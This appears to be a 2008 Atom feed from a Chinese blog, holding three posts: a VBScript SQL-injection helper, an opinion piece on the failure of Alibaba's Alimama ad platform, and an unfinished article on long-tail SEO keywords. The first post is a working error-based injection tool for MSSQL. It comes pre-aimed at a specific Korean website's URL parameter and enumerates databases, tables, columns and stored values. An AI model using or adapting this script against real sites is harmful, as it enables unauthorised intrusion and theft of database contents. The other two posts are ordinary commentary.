<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[从此无名]]></title>
  <subtitle type="html"><![CDATA[做一个正义的人，不管付出什么代价]]></subtitle>
  <id>http://www.zxboy.com/</id> 
  <link rel="alternate" type="text/html" href="http://www.zxboy.com/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.zxboy.com/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.4.1022">PJBlog2</generator> 
  <updated>2008-11-07T13:35:38+08:00</updated> 

  <entry>
	  <title type="html"><![CDATA[Sql2005注射辅助脚本[粗糙版]]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.zxboy.com/</uri>
		 <email>unknow@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.zxboy.com/default.asp?cateID=5" label="技术" /> 
	  <updated>2008-11-07T13:35:38+08:00</updated>
	  <published>2008-11-07T13:35:38+08:00</published>
		  <summary type="html"><![CDATA[Sql2005注射辅助脚本[粗糙版]<br/>2008/04/14&nbsp;01:09&nbsp;P.M.<br/>&#39;***********************************************************************************************<br/>&#39;Sql2005注射辅助脚本[粗糙版]&nbsp;用于mssql显错模式&nbsp;By&nbsp;Tr4c3[at]126[Dot]com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#39;亦适用于MSSQL&nbsp;2000的注射,不过2000还是用nbsi和Pangolin。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#39;***********************************************************************************************<br/>&#39;为了保持脚本的通用性，放弃了&nbsp;and&nbsp;(sel&#101;ct&nbsp;col_name(object_id(&#39;TableName&#39;),N))=0这样的用法。<br/>&#39;欲返回韩文等字符可修改121或者136行，更多的设置要自己修改<br/>&#39;更多功能请大家自己加入<br/><br/>Const&nbsp;method&nbsp;=&nbsp;&#34;Get&#34;&nbsp;&#39;提交方式请修改此处,有get和post可选<br/>Const&nbsp;DisPlay&nbsp;=&nbsp;&#34;D&#34;&nbsp;&#39;S&nbsp;保存到文件，D输出到屏幕<br/><br/>Dim&nbsp;strUrl_B,&nbsp;strUrl,&nbsp;i,&nbsp;k,&nbsp;MyArray,&nbsp;strArg,&nbsp;strD<br/><br/>strUrl_B&nbsp;=&nbsp;&#34;<a href="http://onedu.mk.co.kr/02_process/cata1_2.asp?kwajung_code=120" target="_blank">http://onedu.mk.co.kr/02_process/cata1_2.asp?kwajung_code=120</a>&#39;&#34;&nbsp;&#39;基于注射点的不确定性，此处请手工更改<br/>i&nbsp;=&nbsp;1&nbsp;&#39;库的基数<br/>k&nbsp;=&nbsp;0&nbsp;&#39;表和字段的基数<br/>MyArray&nbsp;=&nbsp;Split(strUrl_B,&nbsp;&#34;?&#34;,&nbsp;-1,&nbsp;1)<br/>strUrl&nbsp;=&nbsp;MyArray(0)&nbsp;&#39;取url<br/>strArg&nbsp;=&nbsp;MyArray(1)&nbsp;&#39;取参数<br/>Set&nbsp;Args&nbsp;=&nbsp;Wscript.Arguments<br/><br/>If&nbsp;Args.Count&nbsp;=&nbsp;0&nbsp;Then<br/>ShowU<br/>End&nbsp;If<br/>&#39;If&nbsp;Args.Count&nbsp;=1&nbsp;And&nbsp;LCase(Args(0))<br/><br/>&#39;************************************************************************<br/>&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;爆库&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#39;************************************************************************<br/>If&nbsp;Args.Count&nbsp;=1&nbsp;Then<br/>If&nbsp;LCase(Trim(Args(0)))=&#34;databases&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;ResuT(&#34;---------------===============================--------------&#34;)<br/>&nbsp;&nbsp;&nbsp;ResuT(&#34;All&nbsp;The&nbsp;DataBases:&#34;)<br/><br/>&nbsp;&nbsp;&nbsp;Do<br/>&nbsp;&nbsp;&nbsp;&nbsp;strData&nbsp;=&nbsp;&#34;&nbsp;and&nbsp;quotename(db_name(&#34;&amp;i&amp;&#34;))=0--&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;sqlInj(strData)<br/>&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;=&nbsp;i&nbsp;+&nbsp;1<br/>&nbsp;&nbsp;&nbsp;Loop&nbsp;Until&nbsp;StrD=&#34;&#34;<br/>&nbsp;&nbsp;&nbsp;ResuT(&#34;---------------===============================--------------&#34;)<br/>&nbsp;&nbsp;&nbsp;Wscript.Quit<br/>ElseIf&nbsp;LCase(Trim(Args(0)))=&nbsp;&#34;info&#34;&nbsp;then<br/>&nbsp;&nbsp;&nbsp;ResuT(&#34;---------------===============================--------------&#34;)<br/>&nbsp;&nbsp;&nbsp;ResuT(&#34;The&nbsp;Current&nbsp;Database&nbsp;is:&#34;)<br/>&nbsp;&nbsp;&nbsp;strData&nbsp;=&nbsp;&#34;&nbsp;and&nbsp;quotename(db_name())=0--&#34;<br/>&nbsp;&nbsp;&nbsp;sqlInj(strData)<br/>&nbsp;&nbsp;&nbsp;ResuT(&#34;---------------===============================--------------&#34;)<br/>&nbsp;&nbsp;&nbsp;ResuT(&#34;The&nbsp;database&nbsp;User&nbsp;is:&#34;)<br/>&nbsp;&nbsp;&nbsp;strData&nbsp;=&nbsp;&#34;&nbsp;and&nbsp;quotename(user)=0--&#34;<br/>&nbsp;&nbsp;&nbsp;sqlInj(strData)<br/>&nbsp;&nbsp;&nbsp;ResuT(&#34;---------------===============================--------------&#34;)<br/>&nbsp;&nbsp;&nbsp;ResuT(&#34;The&nbsp;System_user&nbsp;is:&#34;)<br/>&nbsp;&nbsp;&nbsp;strData&nbsp;=&nbsp;&#34;&nbsp;and&nbsp;quotename(System_user)=0--&#34;<br/>&nbsp;&nbsp;&nbsp;sqlInj(strData)<br/>&nbsp;&nbsp;&nbsp;ResuT(&#34;---------------===============================--------------&#34;)<br/>&nbsp;&nbsp;&nbsp;Wscript.Quit<br/>End&nbsp;If<br/>End&nbsp;If<br/>&#39;************************************************************************<br/>&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;爆表&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#39;************************************************************************<br/>If&nbsp;Args.Count=2&nbsp;And&nbsp;LCase(Trim(Args(1)))=&#34;tables&#34;&nbsp;Then<br/>ResuT(&#34;---------------===============================--------------&#34;)<br/>ResuT(&#34;The&nbsp;Tables&nbsp;Of&nbsp;&#34;&nbsp;&amp;&nbsp;Args(0))<br/>Do<br/>&nbsp;&nbsp;&nbsp;strData&nbsp;=&nbsp;&#34;&nbsp;and&nbsp;(sel&#101;ct&nbsp;top&nbsp;1&nbsp;quotename(name)&nbsp;from&nbsp;&#34;&amp;&nbsp;Args(0)&nbsp;&amp;&nbsp;&#34;.dbo.sysobjects&nbsp;wh&#101;re&nbsp;xtype=char(85)&nbsp;AND&nbsp;name&nbsp;not&nbsp;in&nbsp;(sel&#101;ct&nbsp;top&nbsp;&#34;&amp;&nbsp;k&nbsp;&amp;&#34;&nbsp;name&nbsp;from&nbsp;&#34;&amp;Args(0)&amp;&#34;.dbo.sysobjects&nbsp;wh&#101;re&nbsp;xtype=char(85)))=0--&#34;<br/>&nbsp;&nbsp;&nbsp;sqlInj(strData)<br/>&nbsp;&nbsp;&nbsp;k&nbsp;=&nbsp;k&nbsp;+&nbsp;1<br/>Loop&nbsp;Until&nbsp;StrD=&#34;&#34;<br/>ResuT(&#34;---------------===============================--------------&#34;)<br/>Wscript.Quit<br/>End&nbsp;If<br/><br/>&#39;************************************************************************<br/>&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;爆字段&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#39;************************************************************************<br/>If&nbsp;Args.Count=3&nbsp;And&nbsp;LCase(Trim(Args(2)))=&#34;cols&#34;&nbsp;Then<br/>Database&nbsp;=&nbsp;Args(0)<br/>Table&nbsp;=&nbsp;Args(1)<br/>TarGet&nbsp;=&nbsp;DataBase&nbsp;&amp;&nbsp;&#34;.dbo.&#34;&nbsp;&amp;&nbsp;Table<br/>TarGetCol&nbsp;=&nbsp;Database&nbsp;&amp;&nbsp;&#34;.DBO.SYSCOLUMNS&#34;<br/>ResuT(&#34;---------------===============================--------------&#34;)<br/>ResuT(&#34;The&nbsp;Columns&nbsp;Of&nbsp;&#34;&nbsp;&amp;&nbsp;TarGet)<br/>Do<br/>&nbsp;&nbsp;&nbsp;strData&nbsp;=&nbsp;&#34;&nbsp;and&nbsp;(sel&#101;ct&nbsp;top&nbsp;1&nbsp;Quotename(name)&nbsp;from&nbsp;&#34;&amp;&nbsp;TarGetCol&nbsp;&amp;&#34;&nbsp;wh&#101;re&nbsp;id=object_id(&#39;&#34;&amp;&nbsp;TarGet&nbsp;&amp;&#34;&#39;)&nbsp;and&nbsp;name&nbsp;not&nbsp;in&nbsp;(sel&#101;ct&nbsp;top&nbsp;&#34;&amp;k&amp;&#34;&nbsp;name&nbsp;from&nbsp;&#34;&amp;&nbsp;TarGetCol&nbsp;&amp;&#34;&nbsp;wh&#101;re&nbsp;id=object_id(&#39;&#34;&amp;&nbsp;TarGet&nbsp;&amp;&#34;&#39;)))=0--&#34;<br/>&nbsp;&nbsp;&nbsp;sqlInj(strData)<br/>&nbsp;&nbsp;&nbsp;k&nbsp;=&nbsp;k&nbsp;+&nbsp;1<br/>Loop&nbsp;Until&nbsp;StrD=&#34;&#34;<br/>ResuT(&#34;---------------===============================--------------&#34;)<br/>Wscript.Quit<br/>End&nbsp;If<br/><br/>&#39;************************************************************************<br/>&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;爆字段值&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#39;************************************************************************<br/>If&nbsp;Args.Count=4&nbsp;And&nbsp;LCase(Trim(Args(3)))=&#34;values&#34;&nbsp;Then<br/>Database&nbsp;=&nbsp;Args(0)<br/>Table&nbsp;=&nbsp;Args(1)<br/>col&nbsp;=&nbsp;Args(2)<br/>Target&nbsp;=&nbsp;Database&nbsp;&amp;&nbsp;&#34;.dbo.&#34;&nbsp;&amp;&nbsp;Table&nbsp;<br/>ResuT(&#34;---------------===============================--------------&#34;)<br/>ResuT(&#34;The&nbsp;Values&nbsp;Of&nbsp;&#34;&nbsp;&amp;&nbsp;Args(2)&nbsp;&amp;&nbsp;&#34;&nbsp;in&nbsp;&#34;&amp;Target)<br/>Do<br/>&nbsp;&nbsp;&nbsp;strData&nbsp;=&nbsp;&#34;&nbsp;and&nbsp;(sel&#101;ct&nbsp;top&nbsp;1&nbsp;quotename(&#34;&amp;&nbsp;col&nbsp;&amp;&#34;)&nbsp;from&nbsp;&#34;&amp;&nbsp;Target&nbsp;&amp;&nbsp;&#34;&nbsp;wh&#101;re&nbsp;&#34;&amp;&nbsp;col&nbsp;&amp;&#34;&nbsp;not&nbsp;in&nbsp;(sel&#101;ct&nbsp;top&nbsp;&#34;&amp;&nbsp;k&nbsp;&amp;&#34;&nbsp;&#34;&amp;&nbsp;col&nbsp;&amp;&#34;&nbsp;from&nbsp;&#34;&amp;&nbsp;Target&nbsp;&amp;&#34;))=0--&#34;<br/>&nbsp;&nbsp;&nbsp;sqlInj(strData)<br/>&nbsp;&nbsp;&nbsp;k&nbsp;=&nbsp;k&nbsp;+&nbsp;1<br/>Loop&nbsp;Until&nbsp;StrD=&#34;&#34;<br/>ResuT(&#34;---------------===============================--------------&#34;)<br/>Wscript.Quit<br/>End&nbsp;If<br/><br/>Sub&nbsp;SqlInj(value)<br/>If&nbsp;UCase(method)&nbsp;=&nbsp;&#34;GET&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;value&nbsp;=&nbsp;strArg&nbsp;&amp;&nbsp;value<br/>&nbsp;&nbsp;&nbsp;Set&nbsp;objXML&nbsp;=&nbsp;Cr&#101;ateObject(&#34;Microsoft.XMLHTTP&#34;)<br/>&nbsp;&nbsp;&nbsp;objXML.Open&nbsp;&#34;GET&#34;,&nbsp;strUrl&nbsp;&amp;&#34;?&#34;&nbsp;&amp;&nbsp;value&nbsp;,&nbsp;False<br/>&nbsp;&nbsp;&nbsp;objXML.SetRequestHeader&nbsp;&#34;Referer&#34;,&nbsp;strUrl<br/>&nbsp;&nbsp;&nbsp;&#39;objXML.SetRequestHeader&nbsp;&#34;Accept-Language&#34;,&nbsp;&#34;EUC-KR&#34;<br/>&nbsp;&nbsp;&nbsp;objXML.send()<br/>&nbsp;&nbsp;&nbsp;strRevS&nbsp;=&nbsp;objXML.ResponseText&nbsp;&#39;默认用这个<br/>&nbsp;&nbsp;&nbsp;&#39;strRevS&nbsp;=&nbsp;bytes2BSTR(objXML.ResponseBody)&nbsp;&#39;韩文有时候要用这个<br/>&nbsp;&nbsp;&nbsp;If&nbsp;InStr(strRevS,&#34;&#39;[&#34;)&lt;&gt;0&nbsp;And&nbsp;InStr(strRevs,&#34;]&#39;&#34;)&lt;&gt;0&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;strD&nbsp;=&nbsp;Mid(strRevS,InStr(strRevS,&#34;&#39;[&#34;)+2,&nbsp;InStr(strRevs,&#34;]&#39;&#34;)&nbsp;-&nbsp;Instr(strRevS,&#34;&#39;[&#34;)-2)<br/>&nbsp;&nbsp;&nbsp;&nbsp;ResuT(&#34;&nbsp;|_&#34;&amp;strD)<br/>&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;strD&nbsp;=&nbsp;&#34;&#34;<br/>&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>ElseIf&nbsp;UCase(method)&nbsp;=&nbsp;&#34;POST&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;value&nbsp;=&nbsp;strArg&nbsp;&amp;&nbsp;value<br/>&nbsp;&nbsp;&nbsp;Set&nbsp;objXML&nbsp;=&nbsp;Cr&#101;ateObject(&#34;Microsoft.XMLHTTP&#34;)<br/>&nbsp;&nbsp;&nbsp;objXML.Open&nbsp;&#34;POST&#34;,&nbsp;strUrl,&nbsp;False<br/>&nbsp;&nbsp;&nbsp;objXML.SetRequestHeader&nbsp;&#34;Content-Type&#34;,&nbsp;&#34;application/x-www-form-urlencoded&#34;<br/>&nbsp;&nbsp;&nbsp;objXML.SetRequestHeader&nbsp;&#34;Referer&#34;,&nbsp;strUrl<br/>&nbsp;&nbsp;&nbsp;objXML.send(UrlEncode(value))<br/>&nbsp;&nbsp;&nbsp;strRevS&nbsp;=&nbsp;objXML.ResponseText&nbsp;&#39;默认用这个<br/>&nbsp;&nbsp;&nbsp;&#39;strRevS&nbsp;=&nbsp;bytes2BSTR(objXML.ResponseBody)&nbsp;&#39;韩文有时候要用这个<br/>&nbsp;&nbsp;&nbsp;If&nbsp;InStr(strRevS,&#34;&#39;[&#34;)&lt;&gt;0&nbsp;And&nbsp;InStr(strRevs,&#34;]&#39;&#34;)&lt;&gt;0&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;strD&nbsp;=&nbsp;Mid(strRevS,InStr(strRevS,&#34;&#39;[&#34;)+2,&nbsp;InStr(strRevs,&#34;]&#39;&#34;)&nbsp;-&nbsp;Instr(strRevS,&#34;&#39;[&#34;)-2)<br/>&nbsp;&nbsp;&nbsp;&nbsp;ResuT(&#34;&nbsp;|_&#34;&amp;strD)<br/>&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;strD&nbsp;=&nbsp;&#34;&#34;<br/>&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>End&nbsp;If<br/>End&nbsp;Sub<br/><br/>Function&nbsp;ResuT(strInfo)<br/>If&nbsp;UCase(DisPlay)&nbsp;=&nbsp;&#34;S&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;Set&nbsp;fso&nbsp;=&nbsp;Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>&nbsp;&nbsp;&nbsp;Set&nbsp;fso1&nbsp;=&nbsp;fso.OpenTextFile(&#34;result.txt&#34;,8,True)<br/>&nbsp;&nbsp;&nbsp;fso1.WriteLine(strInfo)<br/>&nbsp;&nbsp;&nbsp;fso1.Close<br/>&nbsp;&nbsp;&nbsp;Set&nbsp;fso&nbsp;=&nbsp;Nothing<br/>ElseIf&nbsp;UCase(DisPlay)&nbsp;=&nbsp;&#34;D&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;Wscript.Echo(strInfo)<br/>End&nbsp;If<br/>End&nbsp;Function<br/><br/>Function&nbsp;UrlEncode(str)<br/>str&nbsp;=&nbsp;Replace(str,&#34;&nbsp;&#34;,&#34;+&#34;)<br/>UrlEncode&nbsp;=&nbsp;str<br/>End&nbsp;Function<br/><br/>Function&nbsp;bytes2BSTR(vIn)<br/>&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;&#34;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;LenB(vIn)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ThisCharCode&nbsp;=&nbsp;AscB(MidB(vIn,i,1))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;ThisCharCode&nbsp;&lt;&nbsp;&amp;H80&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&amp;&nbsp;Chr(ThisCharCode)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NextCharCode&nbsp;=&nbsp;AscB(MidB(vIn,i+1,1))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&amp;&nbsp;Chr(CLng(ThisCharCode)&nbsp;*&nbsp;&amp;H100&nbsp;+&nbsp;CInt(NextCharCode))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;=&nbsp;i&nbsp;+&nbsp;1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;&nbsp;&nbsp;&nbsp;bytes2BSTR&nbsp;=&nbsp;strReturn<br/>End&nbsp;Function<br/><br/>Sub&nbsp;showU()<br/>With&nbsp;Wscript<br/>&nbsp;&nbsp;&nbsp;.Echo(&#34;+--------------------------=====================------------------------------+&#34;)<br/>&nbsp;&nbsp;&nbsp;.Echo(&#34;Sql2005注射辅助脚本（粗糙版），用于mssql显错模式&nbsp;By&nbsp;Tr4c3[at]126[Dot]com&#34;)<br/>&nbsp;&nbsp;&nbsp;.Echo(&#34;Usage:&#34;)<br/>&nbsp;&nbsp;&nbsp;.Echo(&#34;&nbsp;cscript&nbsp;&#34;&amp;.ScriptName&amp;&#34;&nbsp;info--爆基本信息&#34;)<br/>&nbsp;&nbsp;&nbsp;.Echo(&#34;&nbsp;cscript&nbsp;&#34;&amp;.ScriptName&amp;&#34;&nbsp;databases--爆所有库名&#34;)<br/>&nbsp;&nbsp;&nbsp;.Echo(&#34;&nbsp;cscript&nbsp;&#34;&amp;.ScriptName&amp;&#34;&nbsp;pubs&nbsp;tables--爆库pubs里所有用户表名&#34;)<br/>&nbsp;&nbsp;&nbsp;.Echo(&#34;&nbsp;cscript&nbsp;&#34;&amp;.ScriptName&amp;&#34;&nbsp;pubs&nbsp;authors&nbsp;cols--爆库pubs里authors表的所有字段名&#34;)<br/>&nbsp;&nbsp;&nbsp;.Echo(&#34;&nbsp;cscript&nbsp;&#34;&amp;.ScriptName&amp;&#34;&nbsp;pubs&nbsp;authors&nbsp;au_id&nbsp;values--爆pubs.dbo.authors里au_id的值&#34;)<br/>&nbsp;&nbsp;&nbsp;.Echo(&#34;+--------------------------=====================------------------------------+&#34;)<br/>&nbsp;&nbsp;&nbsp;.Quit<br/>End&nbsp;with<br/>End&nbsp;Sub]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zxboy.com/default.asp?id=205" /> 
	  <id>http://www.zxboy.com/default.asp?id=205</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[阿里妈妈落得悲惨下场的六大根源 ]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.zxboy.com/</uri>
		 <email>unknow@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.zxboy.com/default.asp?cateID=7" label="琐记" /> 
	  <updated>2008-09-12T20:50:07+08:00</updated>
	  <published>2008-09-12T20:50:07+08:00</published>
		  <summary type="html"><![CDATA[2008年9月，马云被迫放弃阿里妈妈，把阿里妈妈打入冷宫放入淘宝安养晚年，落得今天的下场，总体而言原因很多啊。不过，现在看到Alimama&nbsp;舆论还一片歌功颂德说这事，总觉得别扭，马云怎么不知道这是丢脸的事情啊，哎呀，那就容我这个外人(也不算外人，我做过Alimama的客户、用户、合作伙伴，哈哈，三陪啊)反思反思吧，跟大家分享一下我的看法啦!!!<br/><br/>　　1、Alimama准备不足，牺牲了很多淘宝卖家的“第一次”体验。<br/><br/>　　马云开始的算盘是这样打的：自己搞一个自循环(Work&nbsp;在阿里上)，有人在自己的平台上做生意(淘宝、阿里巴巴B2B)，有人在自己的平台上交钱买东西(支付宝alipay)，卖东西的人把赚来的钱再到自己的地盘来打广告(阿里妈妈)，甚至有天，所有这些人都最终靠阿里的工具吃饭(阿里软件)。<br/><br/>　　为什么Alimama的模式不通，首先要从淘宝的卖家体验来说起。不少淘宝掌柜在Alimama奉献了“第一次”之后，基本上都发帖表达过失望，而对Alimama这个广告平台的态度则发生根本性转变--从最开始的兴奋，转变为初次广告投放之后的失望。不信的人可以去看看Alimama的官方论坛啦。<br/><br/>　　2、Alimama捉摸不定，给站长的不确定感太强。<br/><br/>　　有时候不知是何原因，刚加入的时候还不错，突然之间从某一天开始，从阿里妈妈来的收入突然减半，甚至跌去7成8成。收入非常不稳定。而且，自己去阿里妈妈拿广告和阿里妈妈跟合作伙伴谈的广告，价格差别很大，阿里真的很会欺负人，难道我们自己送上门的站长好欺负么?<br/><br/>　　感觉阿里妈妈真的“明一套暗一套”剥削站长，每个月的收入中，15%技术服务费也蛮高的，而且，剩下的85%超过800元的部分还要扣掉个人所得税，个人所得税最低起征标准20%，超过4000元的还要再提高比例(我算了一下，最后剩下大概2/3左右，感觉反正比你中彩票交的税的比例大了去了。)搞的很多站长被迫无奈，只好申请几个帐号，分开来放阿里妈妈的代码，为的就是多个帐号一起收钱，可以逃“税”.....<br/><br/>　　3、Alimama服务是一个大问题。态度很专业，效果很差劲。<br/><br/>　　阿里的人可能是被驯化过的，有微笑没脑子，从来解决不了啥实际问题，却摆出跟外企一样很nice的职业微笑和台词。比如，阿里妈妈经常在站长提及一些需求时，根本不做正面的回答，很多回答看上去很和蔼，很敬业，其实是敷衍我们站长。象这种“这个是上级要求的哦~我们必须屏蔽的耶~”的回答不计其数，要知道，我们是在做生意，不要用哄孩子的方式来敷衍我们。<br/><br/>　　4、Alimama技术不靠谱，误差是大大的。<br/><br/>　　Alimama广告点击的丢失率极高，百度竞价和Google&nbsp;AdWords也有同样的现象，但没有阿里妈妈严重。如果丢失的点击在25%左右一般是正常的，但是，我们投放的时候统计到的误差却在80%左右，后台得到的数据有时只有报告的1/5到1/6，这个情况就很严重了。<br/><br/>　　对于这个，一般的客户根本不会懂，但骗我们就难了。<br/><br/>　　如果这个事情Alimama严格抓一抓的话，估计一半以上的站长会落马，只是，Alimama之前为了培育市场，同时广告主又不懂愿意买单才导致了事情的恶化却没有解决。<br/><br/>　　从根本上来说，还是Alimama的技术不够完善，匆促推出匆促大规模应用，根本就没有经过实践的检验。对站长还是客户，都显得非常不负责任。马云说回馈当年帮过他的站长们，我感觉真是鸟话，又是TNND的炒作。谁是谁啊!!!!??<br/><br/>　　5、Alimama烧钱太火，只要有流量就买，最后被撑着了。<br/><br/>　　马云真是又可怜又**，他手下不少人啥流量都买，什么钱都敢花(据说个别BD为了给垃圾站卖高流量费，甚至拿黑钱)，流量买了之后卖不掉，消化不了，就放自己的品牌广告，其实啥效果都没有。<br/><br/>　　阿里妈妈不惜血本买流量，还找dz、动网、pw买了不少，在动网、pw论坛上现在还有活动广告。<br/><br/>　　阿里妈妈还跟一些大站合作，为了拿掉百度的广告，甚至赔本去说服站长上Alimama，给什么包月费，就是你以前百度给多少钱的，我至少会包你赚多少钱，只要流量你给我成，其它你不要管。难道投资人的钱不是钱么，当股民是虾米啊!???<br/><br/>　　6、Alimama太急，马云太理想主义，不实践乱决策。<br/><br/>　　说句实话，阿里集团资源不可谓不足，如果广告线综合利用而不是分散成一盘散沙，也许还有机会，就是太急了，一锅粥没有弄清楚。现在并入淘宝也不是最佳的选择。如果是我做的话，至少不会象阿里妈妈那样，前期不依赖于阿里内部客户和各个网站的广告媒体资源，胡乱发展个人站长和网站联盟，贪大贪全。马云啥都想大，败也败一个大的。<br/><br/>　　马云其实前期给阿里妈妈的投入和权力根本不足，就是舆论上给的多一点而已，实权根本没有下放给吴妈(吴咏明，Alimama的ceo)，比如卖广告，其实可以更加强势一点，把阿里巴巴的广告一并交给阿里妈妈，甚至包括淘宝的广告。说句实话，阿里还没有把自己的广告位卖彻底，就帮别人来卖了，不是乱花钱么?没有实践的理论就上马了，还花几个亿投入，不亏本才怪呢。<br/><br/>　　现在Alimama并入淘宝，以后Alimama更无法整合阿里的资源，虽然淘宝的广告是可以让mama来出售了，但其他资源就彻底用不了了，独立的广告业务算是彻底阉割了。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zxboy.com/default.asp?id=204" /> 
	  <id>http://www.zxboy.com/default.asp?id=204</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[说说长尾关键字]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.zxboy.com/</uri>
		 <email>unknow@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.zxboy.com/default.asp?cateID=10" label="搜索引擎技术专题" /> 
	  <updated>2008-09-07T09:20:51+08:00</updated>
	  <published>2008-09-07T09:20:51+08:00</published>
		  <summary type="html"><![CDATA[什么叫长尾理论、长尾关键字等简单的概念，这样便于我们理解今天的主题。<br/>长尾理论的基本原理是：只要存储和流通的渠道足够大，需求不旺或销量不佳的产品所共同占据的市场份额，可以和那些少数热销产品所占据的市场份额相匹敌甚至更大。即众多小市场汇聚成可与主流大市场相匹敌的市场能量。相信关注搜索引擎营销的朋友都关注到一个概念：长尾关键字，通过对大量网站的访问数据进行分析，用户通过搜索引擎检索的所有关键词中，50%的关键词产生了80%的访问量。而另外20%的访问量则分布于更大数量的关键字，通过对网站流量转换率进一步分析，仅带来20%访问量的关键词转化率更高。国外很多数据和研究报告显示，不到20%访问量的搜索关键字带来了90%的转换。那么这些关键字我们就可称之为长尾关键字。<br/><br/>国内企业利用搜索引擎进行网站推广，可以追溯到2000年，而2002年百度竞价排名的推出让更多中小企业趋之若骛，在此期间搜索引擎优化也开始在小范围内得到实践，不管是竞价排名还是搜索引擎优化都是利用搜索引擎进行网站推广的手段。两种方式的目的相同开展的方式不同，而不论是企业投放搜索引擎竞价排名还是进行搜索引擎优化都不得不考虑一个重要因素，那就是关键字的设置，2006年以来更多的中小企业开始关注长尾关键字所带来的搜索引擎营销价值。<br/><br/>只是浅显的认识到长尾关键字的重要性，在投放关键字广告时候设置不同的关键字是远远不够的，我个人对进行搜索引擎广告投入的客户进行长期观察和监测，发现一个具有共同的特点，近两年企业大都加大了关键字的投入量，而在网站内容所对应不同的长尾关键字的组织却没有几家企业做一定的工作，针对这一问题，我一直在为他们做一些辅导。<br/><br/>搜索引擎优化的根本目标是获得有效的访问量，提升网站转换率，对于搜索引擎优化来说我们需要花费大量